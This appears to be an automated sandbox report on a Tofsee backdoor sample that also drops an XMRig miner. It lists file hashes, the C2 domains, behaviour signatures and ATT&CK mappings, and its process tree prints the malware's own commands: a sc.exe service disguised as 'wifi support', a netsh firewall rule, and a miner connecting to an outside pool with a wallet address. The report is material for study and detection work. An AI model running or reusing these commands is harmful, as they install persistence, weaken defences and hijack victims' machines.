Analysis

  • max time kernel
    156s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 17:00

General

  • Target

    4ca8952f973faedc8c81d9cc36b0bdf1f3b61b410ff100cf443688b384034ab4.exe

  • Size

    265KB

  • MD5

    24a82484210bd259dc1c98e85a25c2a2

  • SHA1

    49a2d7aa3c473957dae72d9d98095a28beaf9d9a

  • SHA256

    4ca8952f973faedc8c81d9cc36b0bdf1f3b61b410ff100cf443688b384034ab4

  • SHA512

    3b975aa3f3b05514300a62a837c718e6a611d9153d7925d72bee40b0615b5a97c908b82bedd4c9c03ce5c575e054de4ecb0a6f2d3826b3837fa66332ed957a34

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4ca8952f973faedc8c81d9cc36b0bdf1f3b61b410ff100cf443688b384034ab4.exe
    "C:\Users\Admin\AppData\Local\Temp\4ca8952f973faedc8c81d9cc36b0bdf1f3b61b410ff100cf443688b384034ab4.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:2236
  • C:\Users\Admin\AppData\Local\Temp\5842.exe
    C:\Users\Admin\AppData\Local\Temp\5842.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bijvuqgr\
      2⤵
        PID:4504
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\arhmqapo.exe" C:\Windows\SysWOW64\bijvuqgr\
        2⤵
          PID:3800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bijvuqgr binPath= "C:\Windows\SysWOW64\bijvuqgr\arhmqapo.exe /d\"C:\Users\Admin\AppData\Local\Temp\5842.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bijvuqgr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2244
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bijvuqgr
          2⤵
          • Launches sc.exe
          PID:4800
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2316
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 1196
          2⤵
          • Program crash
          PID:4312
      • C:\Windows\SysWOW64\bijvuqgr\arhmqapo.exe
        C:\Windows\SysWOW64\bijvuqgr\arhmqapo.exe /d"C:\Users\Admin\AppData\Local\Temp\5842.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5100
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1404
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 512
          2⤵
          • Program crash
          PID:2592
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4008 -ip 4008
        1⤵
          PID:360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1696 -ip 1696
          1⤵
            PID:3624
          • C:\Users\Admin\AppData\Local\Temp\B6CE.exe
            C:\Users\Admin\AppData\Local\Temp\B6CE.exe
            1⤵
            • Executes dropped EXE
            PID:4332
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:2500
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2500 -s 884
                2⤵
                • Program crash
                PID:2840
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2500 -ip 2500
              1⤵
                PID:640
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:1336

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Persistence

                New Service

                1
                T1050

                Modify Existing Service

                1
                T1031

                Registry Run Keys / Startup Folder

                1
                T1060

                Privilege Escalation

                New Service

                1
                T1050

                Defense Evasion

                Modify Registry

                1
                T1112

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                3
                T1082

                Peripheral Device Discovery

                1
                T1120

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\5842.exe
                  Filesize

                  265KB

                  MD5

                  5b25789fe350d2a6ba2210eb9aa435b4

                  SHA1

                  f749063f1e6f0e6dcb882b2f6b2477e051eb0474

                  SHA256

                  54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc

                  SHA512

                  25858e4f9a07da7fc12de5ac5297a5e0ebafa7b522e672552b21449857cd04f906220381c1ee575bfdc6a45f2d991309ded706aed533a818d896fcc958372caf

                • C:\Users\Admin\AppData\Local\Temp\5842.exe
                  Filesize

                  265KB

                  MD5

                  5b25789fe350d2a6ba2210eb9aa435b4

                  SHA1

                  f749063f1e6f0e6dcb882b2f6b2477e051eb0474

                  SHA256

                  54e3d51c2243fd6cde8077894dc0d648e8580978554d73e6485cb9a55822cabc

                  SHA512

                  25858e4f9a07da7fc12de5ac5297a5e0ebafa7b522e672552b21449857cd04f906220381c1ee575bfdc6a45f2d991309ded706aed533a818d896fcc958372caf

                • C:\Users\Admin\AppData\Local\Temp\B6CE.exe
                  Filesize

                  4.3MB

                  MD5

                  d3d62d8d274195ab9af9c028fea9ca4b

                  SHA1

                  ae84938ab3b4bb8411f726f617cec9a4707da43e

                  SHA256

                  4751a136cf8bf5807b4714ebfba31096ed385b4e424bdb4d9cd94c5da18dfb19

                  SHA512

                  7633107dd57fce28e8f150d32c56226670065128ea1882decb6257314df1202c33673fc4b56a0a28196500bcc595db8bc5fc6dd5f3e6a3d9f4234af9b03f0b15

                • C:\Users\Admin\AppData\Local\Temp\B6CE.exe
                  Filesize

                  4.3MB

                  MD5

                  d3d62d8d274195ab9af9c028fea9ca4b

                  SHA1

                  ae84938ab3b4bb8411f726f617cec9a4707da43e

                  SHA256

                  4751a136cf8bf5807b4714ebfba31096ed385b4e424bdb4d9cd94c5da18dfb19

                  SHA512

                  7633107dd57fce28e8f150d32c56226670065128ea1882decb6257314df1202c33673fc4b56a0a28196500bcc595db8bc5fc6dd5f3e6a3d9f4234af9b03f0b15

                • C:\Users\Admin\AppData\Local\Temp\arhmqapo.exe
                  Filesize

                  12.4MB

                  MD5

                  e242adb55989633b050d9f714c1b5ba8

                  SHA1

                  696ad490adec184773014d8fa3d6d9d55aeba32f

                  SHA256

                  fd0581e33019fde1be802330bc8f1db77a15f8ca1be4999096ca59508eef6b1d

                  SHA512

                  482374889b448962fdc5d5016bae4dfb9edee68815d2b35440c856b562074431a6619cd5e0993859de480d556dabd8365d5b8a37321e5d3f6eedb5e69db014b7

                • C:\Windows\SysWOW64\bijvuqgr\arhmqapo.exe
                  Filesize

                  12.4MB

                  MD5

                  e242adb55989633b050d9f714c1b5ba8

                  SHA1

                  696ad490adec184773014d8fa3d6d9d55aeba32f

                  SHA256

                  fd0581e33019fde1be802330bc8f1db77a15f8ca1be4999096ca59508eef6b1d

                  SHA512

                  482374889b448962fdc5d5016bae4dfb9edee68815d2b35440c856b562074431a6619cd5e0993859de480d556dabd8365d5b8a37321e5d3f6eedb5e69db014b7

                • memory/368-143-0x0000000000000000-mapping.dmp
                • memory/1336-192-0x00000000006B0000-0x00000000006BC000-memory.dmp
                  Filesize

                  48KB

                • memory/1336-191-0x0000000000000000-mapping.dmp
                • memory/1404-185-0x0000000001070000-0x0000000001161000-memory.dmp
                  Filesize

                  964KB

                • memory/1404-180-0x0000000001070000-0x0000000001161000-memory.dmp
                  Filesize

                  964KB

                • memory/1404-179-0x0000000000000000-mapping.dmp
                • memory/1696-154-0x000000000302E000-0x000000000303E000-memory.dmp
                  Filesize

                  64KB

                • memory/1696-156-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2236-132-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2236-133-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2236-130-0x00000000030D2000-0x00000000030E2000-memory.dmp
                  Filesize

                  64KB

                • memory/2236-131-0x00000000001F0000-0x00000000001F9000-memory.dmp
                  Filesize

                  36KB

                • memory/2244-144-0x0000000000000000-mapping.dmp
                • memory/2316-147-0x0000000000000000-mapping.dmp
                • memory/2500-193-0x0000000000E20000-0x0000000000E94000-memory.dmp
                  Filesize

                  464KB

                • memory/2500-188-0x0000000000000000-mapping.dmp
                • memory/2500-190-0x0000000000920000-0x000000000098B000-memory.dmp
                  Filesize

                  428KB

                • memory/2500-194-0x0000000000920000-0x000000000098B000-memory.dmp
                  Filesize

                  428KB

                • memory/3800-141-0x0000000000000000-mapping.dmp
                • memory/4008-149-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/4008-148-0x0000000003013000-0x0000000003024000-memory.dmp
                  Filesize

                  68KB

                • memory/4008-140-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/4008-137-0x0000000003013000-0x0000000003024000-memory.dmp
                  Filesize

                  68KB

                • memory/4008-139-0x00000000049E0000-0x00000000049F3000-memory.dmp
                  Filesize

                  76KB

                • memory/4008-134-0x0000000000000000-mapping.dmp
                • memory/4332-195-0x0000000000C90000-0x00000000013AC000-memory.dmp
                  Filesize

                  7.1MB

                • memory/4332-189-0x0000000000C90000-0x00000000013AC000-memory.dmp
                  Filesize

                  7.1MB

                • memory/4332-173-0x0000000000000000-mapping.dmp
                • memory/4332-186-0x0000000000C90000-0x00000000013AC000-memory.dmp
                  Filesize

                  7.1MB

                • memory/4504-138-0x0000000000000000-mapping.dmp
                • memory/4800-145-0x0000000000000000-mapping.dmp
                • memory/5100-151-0x0000000000F00000-0x0000000000F15000-memory.dmp
                  Filesize

                  84KB

                • memory/5100-174-0x00000000023E0000-0x00000000023E7000-memory.dmp
                  Filesize

                  28KB

                • memory/5100-170-0x0000000007B00000-0x0000000007F0B000-memory.dmp
                  Filesize

                  4.0MB

                • memory/5100-167-0x00000000023D0000-0x00000000023D5000-memory.dmp
                  Filesize

                  20KB

                • memory/5100-164-0x0000000002380000-0x0000000002390000-memory.dmp
                  Filesize

                  64KB

                • memory/5100-161-0x0000000002370000-0x0000000002376000-memory.dmp
                  Filesize

                  24KB

                • memory/5100-158-0x0000000002C00000-0x0000000002E0F000-memory.dmp
                  Filesize

                  2.1MB

                • memory/5100-157-0x0000000000F00000-0x0000000000F15000-memory.dmp
                  Filesize

                  84KB

                • memory/5100-155-0x0000000000F00000-0x0000000000F15000-memory.dmp
                  Filesize

                  84KB

                • memory/5100-150-0x0000000000000000-mapping.dmp